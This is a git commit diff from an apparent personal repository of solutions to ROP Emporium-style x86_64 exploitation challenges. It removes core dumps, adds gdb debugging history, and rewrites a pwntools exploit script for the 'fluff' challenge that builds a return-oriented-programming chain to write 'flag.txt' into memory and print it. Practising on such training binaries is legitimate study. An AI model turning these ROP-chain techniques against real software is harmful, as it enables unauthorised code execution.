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authorBrett Weiland <techcrazybsw@gmail.com>2020-12-18 01:42:14 -0600
committerBrett Weiland <techcrazybsw@gmail.com>2020-12-18 01:42:14 -0600
commit406768c5fead9fcadc9dc466da4286e5ac3c7274 (patch)
tree6d546250c6dbb09b49223f0139d4ef63defc7269 /x86_64
parent4c25bd918847e914875e900285008eb3865ca8b6 (diff)
deleted: x86_64/badchars/core
modified: x86_64/fluff/.gdb_history deleted: x86_64/fluff/core modified: x86_64/fluff/exploit.py deleted: x86_64/ret2win/core deleted: x86_64/split/core deleted: x86_64/write4/core
Diffstat (limited to 'x86_64')
-rw-r--r--x86_64/badchars/corebin4427776 -> 0 bytes
-rw-r--r--x86_64/fluff/.gdb_history47
-rw-r--r--x86_64/fluff/corebin4292608 -> 0 bytes
-rwxr-xr-xx86_64/fluff/exploit.py30
-rw-r--r--x86_64/ret2win/corebin2183168 -> 0 bytes
-rw-r--r--x86_64/split/corebin2183168 -> 0 bytes
-rw-r--r--x86_64/write4/corebin4427776 -> 0 bytes
7 files changed, 46 insertions, 31 deletions
diff --git a/x86_64/badchars/core b/x86_64/badchars/core
deleted file mode 100644
index 11e7d7f..0000000
--- a/x86_64/badchars/core
+++ /dev/null
Binary files differ
diff --git a/x86_64/fluff/.gdb_history b/x86_64/fluff/.gdb_history
index cfa1057..0d0b7f2 100644
--- a/x86_64/fluff/.gdb_history
+++ b/x86_64/fluff/.gdb_history
@@ -1,19 +1,4 @@
quit
-quit
-continue
-nexti
-nexti
-info reg rdi
-stepi
-nexti
-info reg rcx
-nexti
-info reg rbx
-stepi
-info reg rdx
-inro reg rbx
-info reg rbx
-quit
stepi
continue
stepi
@@ -237,3 +222,35 @@ x/x 0x601be0 + 8
x/x 0x601be0 + 9
x/x 0x601be0 + 10
quit
+continue
+context
+x/x 0x7fff0b74fed0
+x/100x 0x7fff0b74fed0
+quit
+break *0x400639
+continue
+context
+continue
+x/s 0x601be0
+continue
+x/s 0x601be0
+stepi
+stepi
+x/s 0x601be0
+quit
+continue
+continue
+quit
+break *0x00000000004006a3
+continue
+continue
+quit
+break pwnme
+run
+continue
+break *0x00000000004006a3
+continue
+info reg rip
+continue
+info reg rip
+quit
diff --git a/x86_64/fluff/core b/x86_64/fluff/core
deleted file mode 100644
index ae36a67..0000000
--- a/x86_64/fluff/core
+++ /dev/null
Binary files differ
diff --git a/x86_64/fluff/exploit.py b/x86_64/fluff/exploit.py
index cdf5de8..2b520d8 100755
--- a/x86_64/fluff/exploit.py
+++ b/x86_64/fluff/exploit.py
@@ -13,37 +13,35 @@ letter_lookups = {
def write_str(dest, string, payload):
payload += p64(0x00000000004006a3)
payload += p64(dest)
- for c in string:
- payload += p64(0x40062a)
- payload += p64(0x4000) # if things go wrong, check endian/order
+ payload += p64(0x0000000000400610)
+ payload += p64(1)
+ payload += p64(0x40062a)
+ payload += p64(0x4000)
+ payload += p64(letter_lookups[string[0]] - 0x3ef2)
+ payload += p64(0x400628)
+ payload += p64(0x400639)
+
+
+ for c in string[1:]:
+ payload += p64(0x40062b)
payload += p64(letter_lookups[c] - 0x3ef2)
-
payload += p64(0x0000000000400610)
- payload += p64(0)
-
+ payload += p64(1)
payload += p64(0x400628)
-
payload += p64(0x400639)
return(payload)
-prog = gdb.debug('./fluff', gdbscript='''
-break *pwnme + 151
-'''
-)
+prog = process('./fluff')
payload = b''
for c in range(40):
payload += b'a'
payload = write_str(0x0000000000600df0 + 0x00000df0, 'flag.txt', payload)
payload += p64(0x00000000004006a3)
-payload += p64(0x601be0) # set rdi
-
+payload += p64(0x601be0)
payload += p64(0x0000000000400510)
-payload += b"\n"
prog.sendline(payload)
-sleep(1)
-print(str(prog.recv(), 'UTF-8'))
prog.interactive()
diff --git a/x86_64/ret2win/core b/x86_64/ret2win/core
deleted file mode 100644
index 4a61a20..0000000
--- a/x86_64/ret2win/core
+++ /dev/null
Binary files differ
diff --git a/x86_64/split/core b/x86_64/split/core
deleted file mode 100644
index cf4e312..0000000
--- a/x86_64/split/core
+++ /dev/null
Binary files differ
diff --git a/x86_64/write4/core b/x86_64/write4/core
deleted file mode 100644
index 857be86..0000000
--- a/x86_64/write4/core
+++ /dev/null
Binary files differ